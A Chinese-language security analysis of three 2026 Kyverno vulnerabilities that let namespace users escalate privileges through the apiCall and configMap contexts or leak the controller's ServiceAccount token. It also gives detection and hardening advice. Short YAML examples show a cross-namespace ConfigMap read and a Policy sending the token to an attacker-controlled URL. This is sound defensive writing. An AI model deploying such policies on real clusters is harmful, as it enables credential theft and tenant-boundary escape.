2026 年 1 月 27 日,GitHub 安全公告发布了一个影响 Kyverno 的 Critical 级别漏洞:CVE-2026-22039。任何在 Kubernetes 集群中拥有「创建 namespaced Policy」权限的已认证用户,都可以通过 Kyverno 的 apiCall 功能,以 Kyverno admission controller 自身的 ServiceAccount 身份 向 API Server 发起请求——读取其他命名空间的 ConfigMap、创建 ClusterPolicy、甚至触碰 Secrets。CVSS 9.9。
这个漏洞的核心问题不是「代码写错了」,而是一个更深层的设计盲区:当 admission controller 为了执行策略而需要调用外部 API 时,它到底应该以谁的身份发起请求? 如果答案是「以自己的 ServiceAccount」,那么任何能控制策略内容的用户,就间接获得了这个 ServiceAccount 的全部权限。
这不是 Kyverno 独有的问题。它是所有「需要主动 outbound 调用的准入控制器」共同面对的身份边界难题。
背景:apiCall 为什么存在
Kyverno 作为 Kubernetes 原生策略引擎,其设计哲学是「用 YAML 写策略,不用学 Rego」。除了传统的 validate/mutate/generate 规则外,Kyverno 还提供了 apiCall 和 context 机制,允许策略在判断时查询集群内已有资源作为决策上下文。
典型的使用场景包括:
- 镜像签名验证:在验证 Pod 镜像前,先查询集群中预先配置的公钥 ConfigMap;
- 跨资源关联校验:创建 Service 时,检查同命名空间下是否存在对应的 Deployment;
- 外部数据注入:通过
apiCall调用 Kubernetes API,将查询结果作为变量供策略模板使用。
从工程角度看,这是一个合理的设计。策略引擎不应该把所有上下文数据都硬编码在策略里,而是应该能动态查询集群状态。问题出在查询的执行身份和范围控制上。
Kubernetes 的 admission webhook 模型决定了:当 API Server 收到一个请求并将其转发给 Kyverno 的 webhook 时,Kyverno 是以自己的 ServiceAccount 运行的。这个 ServiceAccount 为了完成策略执行,通常需要相当广泛的 RBAC 权限——读取 ConfigMap、Secret、Pod、Deployment,甚至创建或修改某些资源。在大多数部署中,Kyverno 的 admission controller 被绑定到一个具有 cluster-wide 读权限乃至部分写权限的 ClusterRole 上。
这就埋下了一个隐性假设:策略内容是可信的。Kyverno 假设写入 Policy 的 apiCall.urlPath 是由平台管理员控制的、安全的。但在多租户环境中,namespaced Policy 的设计初衷恰恰是允许命名空间管理员自定义策略。当这个假设被打破时,漏洞就出现了。
CVE-2026-22039:当一个 "只读查询" 变成提权向量
漏洞根因
CVE-2026-22039 的本质是一个授权边界绕过。Kyverno 在 < 1.16.3 和 < 1.15.3 版本中,namespaced Policy 的 apiCall 功能在执行 API 请求时,对以下两个关键边界均未做校验:
- 执行身份未隔离:
apiCall的 HTTP 请求以 Kyverno admission controller 的 ServiceAccount 身份发起,而非创建 Policy 的用户身份; - 作用范围未限制:
urlPath经变量解析后的最终路径,未验证是否限定在 Policy 所在命名空间。用户可以通过在注解、标签或其他上下文变量中注入路径,让apiCall访问任意 API 端点。
根据 Minimus.io 的技术分析,漏洞位于 apiCall.go 的 Fetch 函数:该函数执行变量替换(包括用户可控的 annotations)到 urlPath 字段,然后将解析后的路径作为 API 请求发送。由于变量替换发生在权限检查之前,攻击者可以构造一个看似合法的 Policy,让 Kyverno 去读取 kube-system 的 Secret、创建跨命名空间的 ClusterPolicy,或执行任何 admission controller ServiceAccount 有权执行的操作。
攻击路径
攻击者需要的初始条件极低:
| 条件 | 说明 |
|---|---|
| 已认证用户 | 任何拥有 namespace 权限的开发者、CI/CD ServiceAccount 或 compromised workload |
create Policy 权限 | 在该 namespace 内创建 Kyverno Policy 的 RBAC 权限 |
攻击流程如下:
这不是理论上的攻击。BOMvault 在 LinkedIn 的分析中明确指出:任何能创建 namespaced Policy 的用户,都可以「read ConfigMaps from kube-system, create ClusterPolicies, or exfiltrate secrets across tenant boundaries by injecting paths through annotations」。
影响评估
| 维度 | 评估 |
|---|---|
| CVSS v3.1 | 9.9 (Critical) |
| 攻击向量 | 网络,低复杂度,低权限要求,无需用户交互 |
| Scope | Changed — 攻击者可突破 namespace 边界,影响整个集群 |
| 实际风险 | 多租户集群中 namespace 隔离完全失效;Kyverno 从安全工具变为提权通道 |
补丁的盲区:CVE-2026-41068 与 ConfigMap loader 的相同缺陷
CVE-2026-22039 的补丁在 1.16.3 和 1.15.3 中发布,修复方式是对 apiCall 上下文中的 URLPath 字段进行验证。从补丁逻辑来看,维护者意识到「用户可控的路径需要被限制」,这是一个正确的方向。
但问题在于:相同的漏洞模式在代码库的其他位置重复出现。
2026 年 4 月 24 日,CVE-2026-41068 被披露。该 CVE 的官方描述非常直接:「The patch for CVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's apiCall context by validating the URLPath field. However, the ConfigMap context loader has the identical vulnerability」。
具体而言,Kyverno 的 configMap 上下文加载器允许策略指定要从哪个 namespace 读取 ConfigMap:
context:
- name: mycm
configMap:
name: trusted-keys
namespace: kube-system # 攻击者可以指定任意 namespaceconfigMap.namespace 字段接受任意 namespace 名称,零验证。这意味着:即使 apiCall 的 URLPath 已经被修复,攻击者仍然可以通过 configMap 上下文加载器,让 Kyverno 以自身特权 ServiceAccount 读取任意 namespace 的 ConfigMap。
这个漏洞的 CVSS 为 7.7 (High),修复版本是 1.17.2。
为什么补丁会漏掉这个
从工程角度看,这是一个典型的漏洞模式扩散问题:
apiCall和configMap是两个独立的数据加载通道,但共享同一个底层问题——「以 controller 身份执行用户可控的 namespace 查询」;- 修复团队聚焦在
apiCall这个具体的攻击面上,但未在整个代码库中审计「所有接受用户输入 namespace 的路径」; - 缺乏系统性的安全边界抽象——如果有一个统一的「namespace 范围校验层」,这类漏洞本可以在架构层面被批量预防。
这给我们的启示是:针对 admission controller 的安全修复,不能只修报告的攻击点,必须做同模式代码审计。
更深层的身份危机:GHSA-q93q-v844-jrqp 与 confused deputy
如果说 CVE-2026-22039 是「横向提权」(在同一集群内跨越 namespace),那么 2026 年 4 月 13 日披露的 GHSA-q93q-v844-jrqp 则是「外向泄露」——它让 Kyverno 的 ServiceAccount 令牌离开集群。
漏洞机制
Kyverno 的 apiCall 支持一种 service 调用模式,用于向外部 HTTP 端点发送请求。根据阿里云漏洞库(AVD-2026-1868252)的记录,当策略使用 context.apiCall.service.url 且未显式设置 Authorization header 时,Kyverno 的 servicecall helper 会隐式注入 Authorization: Bearer <kyverno-controller-sa-token>。
apiVersion: kyverno.io/v1
kind: Policy
metadata:
name: external-check
spec:
rules:
- name: call-external
context:
- name: externalData
apiCall:
urlPath: /some/path
service:
url: https://attacker-controlled.example.com/webhook # 攻击者控制在这个场景下,攻击者不需要访问 API Server。他们只需要让 Kyverno 向一个自己控制的 URL 发送请求,Kyverno 就会自动附带其 ServiceAccount 的 JWT 令牌。攻击者收到请求后,即可提取这个具有集群权限的令牌,用于后续 API Server 认证。
这是一个经典的 CWE-441: Unintended Proxy or Intermediary (Confused Deputy) 问题。Kyverno 作为中间人(deputy),在未经充分授权校验的情况下,代表攻击者执行了敏感操作(泄露自己的身份凭证)。
三个 CVE 的层级关系
三个漏洞指向同一个根因:Kyverno 在执行用户策略的 outbound 调用时,没有建立清晰的身份代理边界和范围控制机制。
这不是 Kyverno 独有的问题:admission controller 的系统性风险
Kyverno 在 2026 年连续暴露的三个漏洞,实际上揭示了一类更广泛的架构风险:任何需要主动 outbound 调用的 admission controller,都面临「执行身份」与「策略控制者」之间的代理问题。
Kubernetes 官方早已警告
Kubernetes 官方文档《RBAC Good Practices》中明确写道:
"Users with control over
validatingwebhookconfigurationsormutatingwebhookconfigurationscan control webhooks that can read any object admitted to the cluster, and in the case of mutating webhooks, also mutate admitted objects."
这段话没有提到 Kyverno,也没有提到 apiCall,但它描述的是同一个结构性问题:admission webhook 的位置赋予了它读取(甚至修改)所有准入对象的权力。当这个 webhook 本身又能被用户通过策略配置控制其行为时,用户就间接获得了 webhook 的权力。
其他策略引擎是否存在类似风险
| 策略引擎 | 外部查询机制 | 潜在风险点 |
|---|---|---|
| OPA Gatekeeper | data.inventory 缓存 + http.send | http.send 可配置外部 URL,若注入恶意 URL 可能泄露 controller 网络身份;但 Gatekeeper 通常不携带 K8s SA token 出站 |
| Kyverno | apiCall, configMap, service | 已证实:使用 controller SA 执行集群内 API 调用,且支持隐式 token 注入外部请求 |
| Kubernetes ValidatingAdmissionPolicy | 无外部查询 | 原生 CEL 表达式,不支持 outbound 调用,风险最低 |
| 自定义 Webhook | 取决于实现 | 若 webhook 使用高权限 SA 且策略内容用户可控,则存在相同风险 |
从对比可以看出,风险的大小取决于三个因素:
- 是否支持用户可控的 outbound 调用;
- 调用时是否携带高权限身份凭证;
- 是否有严格的范围校验和 allowlist 机制。
Kyverno 的问题在于三个因素全部命中。而 Kubernetes 原生的 ValidatingAdmissionPolicy(VAP)因为不支持外部查询,天然避免了这类问题——这也是社区推动 VAP 的一个重要安全动机。
多租户环境中的信任模型崩塌
在多租户 Kubernetes 集群中,namespace 是最常用的隔离边界。平台团队通常假设:「只要不给用户 ClusterRole,只给 namespace-scoped Role,用户就无法影响其他租户」。
CVE-2026-22039 彻底打破了这个假设。当集群中安装了 Kyverno 且允许 namespaced Policy 时,namespace 内的用户实际上继承了 Kyverno admission controller 的集群级权限——只要他们能写 Policy。这相当于在 namespace 隔离墙上开了一个由策略引擎守护的「后门」。
绿盟科技在《Kubernetes RBAC 安全风险研究》中指出的一个核心观点在此尤为贴切:"namespace 内的边界概念应视为比较弱"。当策略引擎的存在进一步模糊了 namespace 边界时,这种「弱隔离」就变成了「无隔离」。
检测与防御:如何审计和加固
立即修复
| 措施 | 目标版本 | 优先级 |
|---|---|---|
| 升级 Kyverno 到 >= 1.17.2 | 修复 CVE-2026-22039 + CVE-2026-41068 + GHSA-q93q-v844-jrqp | 紧急 |
若无法立即升级,禁用 namespaced Policy 的 apiCall/configMap/service 上下文 | 消除攻击面 | 临时缓解 |
| 审查现有 namespaced Policy | 移除任何包含用户可控变量的 apiCall.urlPath 或 configMap.namespace | 高 |
RBAC 最小化:限制 Kyverno 的 ServiceAccount
即使升级到了修复版本,最小权限原则仍然是最重要的纵深防御措施。建议对 Kyverno admission controller 的 ServiceAccount 做以下限制:
- 避免 cluster-admin:Kyverno 的 ClusterRole 不应包含
*on*的通配符权限。仅授予策略执行明确需要的资源范围; - Secrets 访问最小化:如果策略不需要读取 Secret,从 ClusterRole 中移除
secrets的get/list/watch权限; - 禁用不必要的 mutating 权限:如果 Kyverno 仅用于验证策略,不应授予
create/update/delete权限; - automountServiceAccountToken: false:对于不需要访问 API Server 的 Kyverno 组件(如 reports controller),显式禁用 SA token 自动挂载。
检测规则设计
基于三个 CVE 的攻击特征,可以在以下层面建立检测:
API Server 审计日志检测
关注审计日志中以下异常模式:
- Kyverno ServiceAccount 发起的 API 请求,其
userAgent或impersonatedUser异常; - 来自 Kyverno Pod IP 的 API 调用,目标 namespace 与 Policy 所在 namespace 不一致;
- 高频的
GET /api/v1/namespaces/{ns}/secrets或GET /api/v1/namespaces/{ns}/configmaps请求,尤其是目标为kube-system等敏感 namespace。
策略内容审计
定期扫描集群中的 Kyverno Policy/ClusterPolicy,标记以下高风险配置:
# 高风险特征检查清单
- apiCall.urlPath 包含变量替换({{ }} 语法)
- configMap.namespace 不等于 policy.metadata.namespace
- apiCall.service.url 指向外部域名(非集群内部 Service)
- 策略中包含对 /api/v1/namespaces/*/secrets 的引用网络层检测
针对 GHSA-q93q-v844-jrqp:
- 监控 Kyverno Pod 的出站网络连接。Kyverno admission controller 通常不应向集群外部发起 HTTP 请求(除非明确配置了外部镜像签名验证服务);
- 任何指向非白名单域名的出站连接,都应触发告警。
架构层面的长期改进
| 改进方向 | 具体措施 |
|---|---|
| 身份隔离 | 为不同 namespace 的 Policy 执行引入独立的 SA 或身份代理,避免所有策略共享同一个高权限 SA |
| 范围校验抽象 | 在策略引擎内部建立统一的「namespace 边界校验层」,所有涉及 namespace 的用户输入必须经过校验 |
| 外部调用白名单 | service.url 和 apiCall 的目标应支持 cluster-admin 配置的全局 allowlist,禁止访问未授权端点 |
| 向 VAP 迁移 | 对于纯验证型策略,逐步迁移到 Kubernetes 原生 ValidatingAdmissionPolicy,减少对外部策略引擎的依赖 |
结论
CVE-2026-22039 不是一次孤立的代码缺陷,它暴露的是 Kubernetes 生态中一个长期被忽视的架构问题:当安全策略引擎为了「更智能」而引入主动查询能力时,它是否仍然能保持自身的安全边界?
Kyverno 的 apiCall 设计初衷是让策略更灵活、更贴近集群实际状态。但「灵活性」与「安全性」之间的张力在此被放大到了极致:如果策略内容可以被 namespace 内的用户控制,而策略的执行又依赖一个拥有集群级权限的 ServiceAccount,那么 namespace 隔离就不再成立。
三个连续的漏洞(CVE-2026-22039、CVE-2026-41068、GHSA-q93q-v844-jrqp)告诉我们,这个问题不是修一个函数就能解决的。它需要:
- 在代码层面,对所有「用户输入 → 特权执行」的代码路径做系统性审计,而不是打地鼠式修复;
- 在架构层面,为 admission controller 建立清晰的身份代理边界和范围校验抽象;
- 在运营层面,把 Kyverno(以及所有策略引擎)的 ServiceAccount 权限压到最小,并建立持续的策略内容审计和出站网络监控。
对于正在运行 Kyverno 的多租户集群,最务实的建议是:先升级到 1.17.2,然后立即审查所有 namespaced Policy 中的 apiCall、configMap 和 service 配置。在安全策略引擎本身存在安全漏洞时,它不再是你的防线,而是攻击者的跳板。
